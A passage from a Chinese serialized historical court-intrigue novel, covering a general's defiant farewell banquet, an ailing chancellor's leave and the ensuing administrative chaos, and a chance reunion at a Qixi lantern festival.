又道,“你知道,我念旧情,只要有我在一日,你在宫中便可安然一日。”
宋依依笑着,没回答。
许生微蹙眉,压身:“如今寒门将起,我想带的人,不只是文臣武将。你若愿意,也在其中。”
宋依依道:“许大人是要带我去哪儿?前朝、后宫,还是梦里江山?”
又到,“依依出身微贱,怎配得上大人的远志……”
许生死死地盯着她:“别跟我谈出身——你我是一样的,五岁卖身,八岁登台,若非各有一张皮相,哪能活到今天?”
“你我尚且如此,其他人又当如何?今日你锦衣玉食,就忘了戏楼里那些被打死、病死的孩子了?宋依依——”
他一字一句道,“你应当与我同路。”
宋依依道:“应当吗?我只是一个小女子。求生存、求安稳,求一点尊严罢了……”
许生冷声道:“你若真求安稳,进宫做什么?你不过是要气苏骏,要整他,我可以帮你。”
宋依依摇了摇头:“许生,你自诩看透人心,却不曾懂我。”
抬起眼,“我入宫,是为了我自己。”
“像我这样的女人,终归是要落在谁手上的。既然如此,当然要挑个稳妥的去处。天下虽大,我做过苏骏的女人,能选的地方并不多。而皇上嘛——”
微笑,“你也知道,他是多么……好相处。不然你,又怎能走这么远?”
最后结论,“你我各有各的路,不如,就各自安好吧?”
许生沉默了一瞬,眼神慢慢冷下去。
他低声:“你是不信,我真能让苏骏死?”
宋依依道:“苏骏死活,与我无关。我现在只想养养花,绣绣凤……”
许生站起身,眼神冰得发亮。
“宋依依,你看着。我会让你知道,谁才是对的。”
他掀帘而出。
珠帘微响,细碎如风。
侍女吓得缩了一下,上前低声劝道:“夫人,许生毕竟曾是朋友,现在又得势。您何必拂他面子呢……”
宋依依重复:“得势?”
重新捡起绣品,悠悠地道,“他不懂我,却更不懂苏骏……”
.
永安阁。
琅琊王大破朝局,正是春风得意,被一群近臣簇拥祝贺。
“陈、张两位副署大人,今早已入驻中书堂啦。”“中书印也交了——丞相请病不出,一连几天除了口谕,一份公文都没签过!”
“还有那苏将军,听说和丞相闹翻了,赌气回了军营,到现在连家门都没踏过一步!”
琅琊王心情大畅,笑道:“跟孤斗,他们还差得远……”
话音未落,恰有内侍匆匆奔来:“皇上,刘将军加急传信——”
.
是江北兵动。
镇东营听闻主帅回京受压,立刻群情激愤。
不仅不听刘侃调动,还动不动就以“操练”为名,自立规矩、抢粮夺饷。甚至有人在刘军营边扎下重兵
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,几次险些擦枪走火。
很快北州府也来急报,说镇东各部躁动不安,劫掠商旅、乡仓,已经有割据的苗头。
朝中一片哗然,纷纷道:“军心思主,再不还将,只怕连边防都保不住!”
眼看军政两线都将脱控,琅琊王怒斥:“苏骏,管好你的人!”
苏骏仍拒不上朝,只悠悠地传了句话来:“刘侃才是‘征北大将军’,节制江北三州——他都管不了,我又凭什么能管?”
再去逼苏昀,草庐那头却推说:病得神智不清。再施压,则答:已劝过了,无果。
琅琊王震怒,一掌拍碎了御案笔架,咬牙:“这两兄弟一唱一和,还有消停么!”
许生劝道:“陛下息怒。”
又道,“现在让苏骏归营,就是放虎归山。此刻若退一步,日后将退无可退——一定要顶住压力……”
说得容易,做得难。
不出三天,江北急报再至:镇东营左前锋钱凤夜间发难,直逼刘侃中军大帐。刘侃措手不及,竟被一气“请”出帅帐,连夜“护送”至颍川。
次日又有一封奏书入京,落款仍为“刘侃”,章印俱全:
“诚请元帅归营,共议军机。”
琅琊王勃然大怒:“反了!这分明是反了啊!”
可反了又如何?
三军之中,刘已被制,戴、苏同气。而他手中,除了建康的两千亲兵,一时竟无人可调。
而当日午后,顾荣也亲赴永安阁,力劝:“陛下,镇东诸军已无节制。若苏将军再不归,恐怕大军真要南下‘救主’了。”
又道,“苏将军虽性烈,却未尝不忠。依老臣之见,与其坐待事变,不如先解燃眉之急,才有转圜之机。”
一道道奏章也接连而至,语意皆同。满朝上下,竟空前一致:
“求请元帅归营!”
琅琊王咬牙切齿:“归。让他归!”
便下了旨意,调苏骏速速北上整军。
苏骏接旨领命,却磨磨蹭蹭,拖了三天也没个动静。让人去催,营中回话:“将军正犯愁呢,说回去没个名分,怎么整军?”
“……”
气归气,琅琊王不得不再下一道诏:“复苏骏江北全境兵权,刘侃从命听节。”
同时恨得牙痒——若苏骏这次全身而退,日后必致大患!
思来想去,又下令:“设饯行宴,孤要亲送苏将军。”
46.饯行
苏骏入京的排场大,离京派场更大。
殿上罗列金盏,玉席铺陈,歌舞美人如流水一般。
琅琊王高坐正中龙案,百官分列左右。苏骏独坐御前偏右,席下铺朱垫,比众臣都高出三寸。他看见百官席上首座空出,十分显眼——是留给苏昀的。
琅琊王道:“三弟啊,你好容易回家一趟。孤是真舍不得你走!本想留你在京里多陪陪家人,好好歇一歇,谁知道这边关竟一刻也离不开你!哎,你去归去,但一定要照顾好自己,别叫孤,也别叫你二哥担心,好不好?”
苏骏静了片刻,方自顾斟满一杯酒,举起来。
琅琊王见他似要敬酒,连忙示意内侍添酒,却见他自己将酒一口饮尽。放下杯子时,瓷盏在案上轻轻一响——
“臣,领命。”
殿里登时静了一瞬,连宫女倒酒的手都停了半拍。
琅琊王顿了顿,也只好自己喝了杯中酒。放下了才又道:“孤知道你心系家人。你放心,家里头孤会好好替你照顾的。你二哥那边,孤绝不会让他受一点闲气,还有——”
一挥手,传令官便捧出一道圣旨,徐徐展开黄卷——
“辅国大将军苏骏,勋业昭著,孤甚嘉之。特封其夫人戴氏为怀义郡夫人,入女学修典。令其子澄入宫书馆,就学于皇子之侧。
再念其行军艰苦,特赐箜篌伎二人随行,以慰辛劳。钦此!”
传令官念毕,缓缓收起卷轴,双手高举:“恭请大将军接旨。”
满殿一片寂静,所有人都看向苏骏。
苏骏脸色冷淡,一动不动。
琅琊王温声道:“三弟,怎么不接呢?……可是有什么不合你意么?”
苏骏终于开口:“箜篌伎,在哪里?”
琅琊王微怔,随即笑着挥了挥手:“是了,你见过的女人多,先看看合不合眼缘!要是不中意,孤再给你挑几个好的……”
便有人从后殿引出两名盛装女子,步态轻盈,缓缓行至苏骏座前,柔声道:
“奴婢见过将军。”
苏骏伸出手。两个女子便身子微倾,凑近他的掌边,含羞道:“将军。”
他摸了一把女子的脸,低笑:“挺好,我喜欢。”
这便是接旨的意思了。
琅琊王暗松了一口气,笑道:“喜欢就好。知道你挑剔,这两个人可是花了大力气选来的呢……”
苏骏果然一手接了旨,又侧目向随身兵吩咐了一句。
随身兵应了便上前,恭声道:“两位夫人,请随小的先下去安顿。”
眼见两个女子袅袅地离去了,殿中气氛才缓和了下来。
百官也看得明白,个个松了口气,心道,好在有家人为质,苏骏还是肯听话,总不至于就大乱了。便有人笑着向苏骏敬酒:“恭祝将军此去功成,凯旋而归!”
苏骏也一一举杯,喝了,不发一言。
殿中杯盏交错,笑声渐起。
如此过一刻钟,忽然有宫人急急奔入殿内,脸色惨白,高声道:“皇上!”
琅琊王微蹙眉,身旁侍从立刻喝道:“大殿之上,岂容喧哗失礼!”
宫人扑通地跪下,声音发抖:“是,是小的该死。是外、外面……那两个箜篌伎,刚被苏将军的人拖至殿外,一刀斩头,血流了满地!”
大殿上瞬间一片死寂。
酒盏还举在半空,有人僵着不敢放下,有人低头躲开视线。刚才的笑声全没了,只剩烛火轻轻地噼啪作响。
琅琊王怔了许久,方苍白着脸,轻轻地问:“宏之,你这……是何意?”
苏骏吃着菜,淡定道:“皇上的心意我领了。不过带着女人不便行军,带个人头,就轻省多了。”
抬起眼,微微一笑,“怎么,不会不行吧?”
.
接下来的宴席,便如死灰一般。
满殿百官如坐针毡,好容易挨到了散席,一群人乌泱泱地涌向殿门,挤得七零八落,踩到脚、绊倒的竟有好几个。
苏骏悠悠地起身,拍了拍衣摆,迎着琅琊王的目光问:“皇上还有吩咐么?”
琅琊王如吞下了一块石头,涩声道:“你……去吧,多保重。”
许生则起身走来,压低声:“苏骏,你别太得意——苏昀还在我手上,对付他,我有的是法子。”
苏骏轻笑了一声:“你试试。”
便转身离去。
.
苏骏到家时,消息早已传了回来。
苏敏与老夫人都急得要命。前者嘴快,劈头盖脸的便是:“御前杀人?二哥你疯啦!大哥都病成那样了,你是嫌局面还不够乱么?”
老夫人则拉住他的手,几近哽咽:“阿骏啊,你真气不过,关起门骂都好。可那是朝堂,是皇上跟前!我苏家世代效忠皇室,威名赫赫,你……你怎能做得出这种事!”
苏骏淡淡道:“放心,我有数。”
什么数?
苏敏立刻炸了,噼里啪啦地一通反驳。
苏骏左耳进右耳出,只看向戴如君,招了招手:“你来一下。”
人夫妻俩谈话,苏敏再不满也不能跟进去骂,只能气得原地跺脚:“臭二哥!”又拉着老夫人的袖子,“奶奶,这可怎么办呐……”
.
戴如君看着半个月来第一次回家的丈夫。
他旋身坐下,点了一支烟,慢慢地吐了两个烟圈。然后道:“生病、事多,什么理由都可以,总之——你不许进宫,苏澄也不可以,明白了吗?”
戴如君低下眉,点了点头:“嗯。”
“家里有半点难处,不要忍,来信跟我讲。我来解决。”
“嗯。”<
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“还有,你父母有话么?”
“我母亲说,想中秋过来,陪小澄过三岁生辰……”
“别来了。”
戴如君把头低得更深:“好。”
苏骏又深深吸了一口烟,半晌道:“今晚你跟苏澄睡吧。”
又道,“出去时把门带上。”
戴如君很轻地应了,慢慢走到门口,又犹豫了一下,回过头来:“我……煮了点酸枣汤,安神助眠的。一会儿让人给你拿来,好不好?”
苏骏“唔”了一声,没抬眼。头仍低着,指间的烟已快烧完。
她想提醒他,却最终没有开口。
只轻轻带上了门。
.
次日苏骏出城,苏昀说什么也要去送。
所有该吃、能吃的药都吃了。特意挑了亮色些的外衣,照了镜子。再把发束起来,甚至破天荒地敷了一些粉。“精神一点。”
一边收拾,心里一边过了八百种说辞。
从装作什么都没发生,到示弱、软话、讲道理,再到夸下海口……甚至暗暗想:若再不成,就泪洒现场,问一句:“你若再不认我,我怎么活得下去?”
正想着,余光瞥见宁伯站在旁边,一副欲言又止的样子。他有点奇怪:“怎么了?”
宁伯略吓了一跳,忙摆手:“没,没什么。”
苏昀看着他:“真没事?”
“没有啊,绝对没有。”
苏昀一脸狐疑,继续整了整衣襟:“算了,朝上的事晚点再说。现在最要紧的是阿骏……”
于是他亲自去门口蹲点,成功拦到了刚出门的苏骏。而那家伙果然是冷着脸,但也果然没拒绝他跟着。
于是从苏府到城门,苏昀滔滔不绝地讲了一路。先是解释自己这阵子好多了,又说今天早饭吃了什么,又扯到新置的乡下田庄——
“夏天城里太热,我打算去乡下避避暑,歇一阵子。宁伯说那边有池塘、有鸭子,柳树,就跟我们洛阳老家一样的。哎,你记得那年我俩去抓泥鳅么……”
就这样走到了城门口。
苏骏接过了马缰,回过头来:“你说完了吗?”
那眼神竟仍是冷冰冰的。
苏昀顿了一下,笑了笑:“太久没跟你说话,是说不完了。”
便去握住他的手,声音放得轻柔,“阿骏,对不起,我不该丢下你。”
又拿出十二万分的诚恳,“我答应你,以后一定好好照顾自己。你也答应我,别带着火走,别让我担心,好吗?”
苏骏沉默了片刻,终于道:“苏昀。”
苏昀只觉心里一跳,极力微笑地回应:“嗯?”
“你的这些胡扯,我听了半辈子了。”
苏骏用刀子般的眼神,一寸寸地将他钉死,“从今往后——你,必须,听我的。”
47.告假
苏昀失魂落魄地回了家。
宁伯吓得半死,半路就让人去请了大夫。前脚刚进门,两个大夫后脚就忙忙地进门了。直接把他拉到床边坐下,一个诊脉,用另一个去翻针包。
正忙着,苏昀轻轻地叫:“宁伯。”
宁伯抬眼:“啊?”
苏昀问:“这几天还有事,你没告诉我,对吗?”
宁伯心道,这节骨眼哪能讲御前杀人的事,一个“没”字还没说出口。对方却没再追问,只是闭上了眼:“没关系。”
又道,“去帮我,告个假吧……”
.
苏昀一口气告了整整一个月的假。
又传令下去,一封奏也别送,一个人也不见。草庐门户紧闭,说是要“细细调养”。
朝上一大群人差点心梗,叫苦道:苏家两位祖宗,可让大伙喘口气吧!
却还有一小撮人摩拳擦掌。
首当其冲的,就是刚到中书堂不久的陈、张两个副署。“分明咱们拿着中书印,批的文件却没人理会——这下可总算好了!”
便立刻雷霆之势,迅速推出一系列寒门科举、士族征税的草案。
正当他们忙着一通盖章,几个中书抱着大摞的奏折走了进来,面无表情地放下:“大人,这些是今日的奏章,请批复后,好送皇上御览。”
打开来一看,只见:什么地方官请拨赈银,兵部交来的军械折损统计。什么户部呈上的盐课亏空细目,礼部来请议新科考题,都察院参劾周、卢余党隐匿资产。
更有几十封各地士族的陈情,或诉苦赋税太重,或抗议寒门科举“乱了家法”……
桩桩件件,全是烫手山芋。
陈、张二人极力忍住风度,招人过来。指着这一百来份的量,冷冷道:“听说丞相每日只批二十五份。怎么,他一走,你们就不会筛折子了吗?……如此作弄上司,就不怕我们一纸参奏,捅到皇上那里去?”
底下的都不由想,果然是许狗带出来的人,除了告状还会啥?
脸上却平平静静地,拱手拜道:“还请大人息怒。丞相每日只批二十五份,是因为多半已经先预判过局面,给过明确的方向。有些事,奏章都还没送上来,就先吩咐好该怎么做,所以才能压得住量。”
好死不死地再微笑着补一句,“要不,您二位也提一提,小的们该怎么做?”
提什么?
陈、张二人吃了个鳖,只好老老实实拿起奏章,一份份地翻看。又硬着头皮按照自己的常识,做了一些批注和建议。
一开始还算认真,边查旧例、边核对档案,写得密密麻麻。可到傍晚一看,才批了不到一半。两人只觉头皮发麻,只好越做越糊弄。
最后几份实在眼都花了,便只草草批了几句:“宜按旧例处置。”
次日琅琊王吃了早饭,开始看折子,越看火就越大:“旧例是什么?竟敢如此糊弄孤!”
许生在旁奉茶,也是微微一震,继而柔笑道:“想来是两位副署大人还不熟事务,过一阵子就会好了。”
又凑近了些,“臣斗胆,能否也看一看,或有能为皇上分忧的?”
语气又柔又缱绻,琅琊王自然随手给了他一叠。
许生坐定,沉下心来,便翻开了第一页。
.
这样分头完成的批复,一传下去便全乱了套:
“凭什么扬州有赈银,我们青州没有?”“盐课亏空,用田税来补?不是开玩笑吧!”“新科考题‘论寒门之上升’,选题也太窄……”
琅琊王没有办法,只好亲自查找材料、对比,一封一封地细批——再这么仔细一看,就发现陈、张的批复根本狗屁不通,索性就不让他们乱写了,强令中书堂各部提出草批、备选方案,再由自己和许生过两三遍,选出最优解。
如此一来,从上自下压力陡增。
中书堂加班加点,永安阁加班加点,满朝上下加班加点。然而待办的事项,却不减反增,越积越多。
科考延期,赈济断粮,军械卡在半路。
群臣怨声载道,纷纷上表:“乞请丞相复出,以安众心。”
私底下又流言四起:“丞相这病,不论真假,都是给皇上气出来。”“怎么不气?丞相忠君报国、事事勤勉,却换来被夺权、羞辱、兄弟远走——这换谁谁受得了?”
先是在朝堂里传,慢慢地坊间也有耳闻。
苏昀一向民望极高,百姓们一听全怒了:“若不是丞相,我一家老小都没处安身!”“他的仁心堂救了我爹的命!”“这样的好官,居然被逼到重病不起——还有天理吗?”
群情越演越烈,最后不堪如“狗皇帝”一类的话都出来了。
琅琊王终于揉了揉脸,问:“苏昀告假第几天了?”
许生微顿,回答:“第二十天。”
琅琊王不由哀叹:“还有十天要熬么……”
许生心中更紧,柔声道:“皇上累了,先歇一歇,剩下的就交由臣来办
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吧。”
又劝,“这些事苏昀做了八年,我们不过是头回没经验。好在现在实权都回到您的手上,只要慢慢地上手……”
琅琊王突然大怒:“苏昀在时,孤也一样有批复权。现在却要干他的脏活累活,有什么好!”
便起身,“你也是,一开始就夸海口,说什么万无一失。现在好了吧!苏骏不臣,苏昀撒手,内外全乱了套!本来孤的江山坐得稳稳的,都是你——”
许生一惊,只得忙忙起身,敛衣长拜:“臣有罪。臣才识不及丞相,事有未周,都是臣的过错。”
又道,“可若陛下现在去催丞相回朝、归还中书印,只怕更做实逼迫丞相之言。那时苏骏趁势动兵,才真是大祸临头。”
“臣恳请陛下再忍十日。臣虽愚钝,也总能拖得过这十天。等丞相稍愈,陛下再亲往探望,必能一举安人心……”
琅琊王瞪了他良久,终是颓然坐下,咬牙道:“十天……就再撑十天。”
.
这十天,满朝度日如年。
顾荣是苏昀极少的好友之一,这日亲自探望,好歹是进了门。
一进屋,只见苏昀刚被人扶起身。靠在床头,几乎连笑的力气没有,轻轻地唤:“先生来了。”
顾荣心中一沉,到他床边坐下,“感觉如何?可有好些了?”
苏昀淡淡道:“……大概好不了了。”
顾荣皱起眉:“怎么这样消沉呢?”
又劝,“你不在这些天,皇上也知自己不对,开始疏远许生。如今春收已毕,国库渐丰,北境也安定,一切都在回稳。往后只会越来越顺……”
苏昀轻声道:“蛮好,那就不需要我了。”
“宴之!”
顾荣看他竟隐有一层淡淡的死气,不由担忧:“苏骏出走,非你之过。你要撑事,也得留一口气……”
正说着,外头有人来报:“丞相,太医奉例来请脉了。”
顾荣回过头来:“太医是日日都来么?”
苏昀垂眼:“……他怕我死。”
顾荣默了半晌,方道:“你若不在,这江南便真要散了。”
末了,拍了拍他的手背,“活着,才有希望。”
.
出了门来,人人赶着来打探消息:丞相怎么说?身体怎么样?精神怎么样?最终问的都是——他能回来么?还是真的倒下了?
顾荣沉吟:“诸君勿忧,丞相会回来的。他还有许多没做的事……”
48.归来
回来又怎样呢?
一个月后,苏昀如期回归,琅琊王也忙不迭地还了中书印。可很快人人都知,苏相已不再是从前的苏相——
几乎再不上朝,偶尔露面一次,话也极少,短、冷。明显是在省力。面色白如纸。
每日送到他案头的奏章也被压至十份,几乎没有口谕。剩下一百余份,只能由中书根据他的批复猜着批。满朝皆知他久病,却才知他已病至如此地步。
因而朝局表面稳了下来,暗地里却波涛汹涌。这日,苏籍之匆匆入苏府,开口便嚷:
“刚三府会同昀叔没去,大伙都吵翻天了!你们没见——”
宁伯、苏敏都在东院外厅,忙拦道:“别吵,人还没起呢。”
苏籍之睁大眼:“这都什么时辰了,还没起啊?”
又喃喃,“这么说,他们说的是真的了?”
宁伯问:“说什么了?”
“他们说,昀叔快死了!”
苏敏一巴掌拍了过去:“我大哥好着呢,你别狗嘴吐不出象牙!快呸!”
苏籍之只好依言呸了两声,却又紧张地追问:“你们别骗我啊,我都好久没见到他人了。”
苏敏啐道:“见你干嘛?你一张嘴,就能说掉人半条命!”
苏籍之不依不饶:“小姑——”
宁伯宽慰:“籍公子宽心。我们公子就是累了,得歇一歇。”
苏籍之道:“哪有这样歇的!”
掰着手指算,“每天睡到日上三竿,新政不推了,批复全是保局、保守得不得了。基本不见人,甚至还答应了搬回苏府和老太君一起住!”
又道,“这都不是我说的,是他们说的!你们知道么?现在朝里除了在争那十件入府亲批的份额,就是在嘀咕等昀叔真倒下了,往后该怎么办……”
苏敏一手去拧他的耳朵,咬牙切齿道:“苏籍之!你不去辟谣就算了,再把有没的往家里传,看我不撕烂你的嘴!”
苏籍之嗷嗷地叫:“疼,疼!小姑可轻点!”
正当苏敏把那哼哼唧唧的衰神撵出门,里间便有小厮来报:“宁伯,主子醒了。”
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宁伯进了门,照例帮主子洗漱、穿衣。
苏昀坐在床边,慢慢地醒神。“我又睡过了。”
宁伯安慰道:“没什么打紧的。大夫不说了么,多睡会儿对养身好的。”
苏昀低低地应了一声,没说什么。
宁伯见他竟真的忘了三府会同的例会,自然也不去提,只是更小心地帮他收拾,一边低声道:“今儿七夕灯会,三小姐一早就来了,说是提醒您晚上要陪她去逛的。”
“嗯。”
“昨个儿给二公子的信,可要老奴封上寄出么?”
苏昀全想不起昨晚写了什么,必不是什么好话。便道:“烧了吧,我一会儿重写。”
宁伯应了,扶他起身。又絮絮道:“阿山把您昨儿的批复誊好了,搁在书房呢。老奴看着,果然又认真又漂亮,清清楚楚的。还有,思成说军械处学徒的第一期快结了,用边角料给您做了个小玩意儿……”
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苏昀看见书桌上,整齐地摆着昨日待核的十件案,今日的十件,以及——一个拳头大小的机械玩偶,是个俏皮的小猴样子。
那小猴做得十分精巧,金属制的,上了黄红两色。手脚部件一片片的。“说是能动的。”宁伯边说着,就给它拧了个发条,放在桌上。
果然小猴慢慢地作了一个揖,轻拍两声小锣,然后张开嘴吐出一张字条:
“苏哥哥好!”
接着转了个圈,又拍了小锣,再吐了张字:“记得要笑!”
而后是:“笑才帅!”
苏昀怔了一下,不由真的笑了。轻轻道:“好傻。”
宁伯也跟着松了口气:“玩具嘛,傻点才可爱。”
便替他把昨天写给苏骏的信收了,温声道:“您先坐会儿,老奴去把早饭和药拿来啊。”
临要出门,又忍不住回头,看见主子还坐在桌边发呆。不由微蹙眉,退了出去,悄悄展开那封糊了墨痕、涂写潦草的信——是那位半夜伏在案上,一边喘着一边发冷汗写的,怎么能不看一眼?
却第一眼便扫见:“梦汝夜来,欲留而不敢。不知此身尚可支几日……”
宁伯默然了一下,小心地折好信,走去隔间,落了苏昀的私印,装入黑函、封漆。叫人来,压低声:“去,叫火旗使来……”
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苏昀再病,情绪再低,折子也一样批得漂亮。
他明知满朝都在看着自己,便打定主意:宁可少批、慢批,也要批对。所有折子先第一日草批,由阿山誊好副本,次日自己再核一遍,最后亲自誊在正折上。
三件必抓的大事:保军权,保经济,保已行新政的底线。
其余的全部下放。
这日他喝过药,提振了精神,重写了给苏骏的信。三言两语地报了安,讲了点天气、和童年的小事,再第无数次地邀他回家。“中秋,澄生辰。月圆人好,归否?”
让宁伯封了去寄,再去核昨天的折子,这才发现一个明显的事实——
今早三府会同的月例,他不仅睡过了,还完完全全地忘了。
带着这份极大的自责,他要了月会的纪要来看,又专门叫了几个下属来禀事,把会上有争议的事项一一给了定调。再翻起这日的折子,已时近傍晚。
苏敏活泼泼地进门:“大哥,准备好了吗?”
“什么?”
“你不是忘了吧。你答应要陪我去逛灯会的哎!我都提醒八百遍了!”
苏昀顿了一下,只道:“……我记得。”
又展示一下面前堆积的案子,“可还这么多事呢。”
苏敏才不理会他暗戳戳的推脱,神气道:“七夕一年就一次!今年还不同往日——城东架了一座十丈高的大灯楼,灯里头藏着字谜。说是谁猜中,谁就能求到姻缘!你说,猜灯谜,是不是你这大文豪最拿手的?”
“……嗯。”
“你的姻缘咱是没去指望了,但你小妹的事是不是能帮衬一下呢?”
“……嗯。”
“你先是我哥,再是丞相的,对不对?”
“……嗯。”
“那就别嗯嗯啊啊了,走吧!”
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>“可是……”
“哎呀,满朝的折子都堆着呢,还差这点么!走吧走吧。”
“……”
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好说歹说,苏昀总算是给那丫头拖出了门。
临出门前还被强迫打扮了一番,敷了粉,换了让妹妹满意的入时外袍,配了玉坠。“你这衣品啊,出门别丢我苏小敏的人!”
“……”
就这样上了街。
只见处处是车水马龙,火树银花。欢声笑语,如流水般的滑过。
有人在路边跳舞,有人在喷着火圈,女孩子们个个花枝招展,遮着面从他身边盈盈经过。
那么欢乐,仿佛人间天堂,仿佛灾祸永不会降临。
甚至有大胆的少女硬给他塞了花灯,又跑开了。苏敏帮他一一收了,啧啧道:“你看,才两条街,已经一二三……五个姑娘给了你名讳!哥,你稍微拾掇一下,就是情场上的香饽饽啊——你自个儿知道么?”
苏昀心里正乱转着无数件事,随口道:“别胡说。”
又问,“你说的灯楼在哪儿呢?”
苏敏道:“就在前面呢。”
却马上又被人潮吸引走了,“哎呀,那边有喷彩烟的火龙!走走,看一眼……”
可人实在太多了,一下就把两人挤散了。苏敏在人潮中回头喊:“我就去看一眼,我们前面城隍庙见吧!一会儿我给你买糖人啊!你要啥味的?”
苏昀还来不及回答,便见妹妹被人推走了。
他只觉得脑壳疼。那能怎么办?
苏昀认命地继续往前走,继续一盏一盏地谢绝递来的花灯。总算走到传说中“十丈高的大灯楼”,抬头一看,顶多也就两人高,稀稀拉拉的挂着几十盏红灯笼。
心想着不知是那丫头被骗,还是自己被骗,硬着头皮去揭了几盏,一一去找管事的对了答案。管事的连声道:“哎哟,客官好厉害,这几题可难咧!”
又陪着笑问,“敢问怎么称呼,小的好在姻缘签上落名儿。”
苏昀道:“苏敏,机敏的敏。”
正在一旁等着,忽听见身后有人叫:“苏哥哥!”
他回头去看,自然是于思成。已是十三四岁的少年,个子倒还没长起来。眼睛黑亮亮的,显然很兴奋。“你也来逛灯市呀!”
又去拉在旁买灯的一人,“阿姐,你看是谁?”
于是,时隔五年,苏昀再次看见了于茵。
她仍是一袭素裙,乌发盘髻。眉眼多了些细纹,整个人更沉静了。
而于茵也看见了他。
他瘦了。非常的瘦,几乎是病骨支离的,更透着一股清清冷冷的气度。一身竹纹浅蓝长衫,一点薄粉,全掩不住眼底的疲倦。
二人对视,竟一时无言。
只有于思成眉飞色舞地道:“阿姐是回来看我学期展的,正好赶上看热闹呢!苏哥哥,你是来……”探头看了看他手里的几张红签,眨眼,“求姻缘啊?”
一切安排、巧合,便这样水落石出。
苏昀顿了一下,轻声道:“给我三妹求的。”
又看向于茵,微笑:“好久不见。你……还好吗?”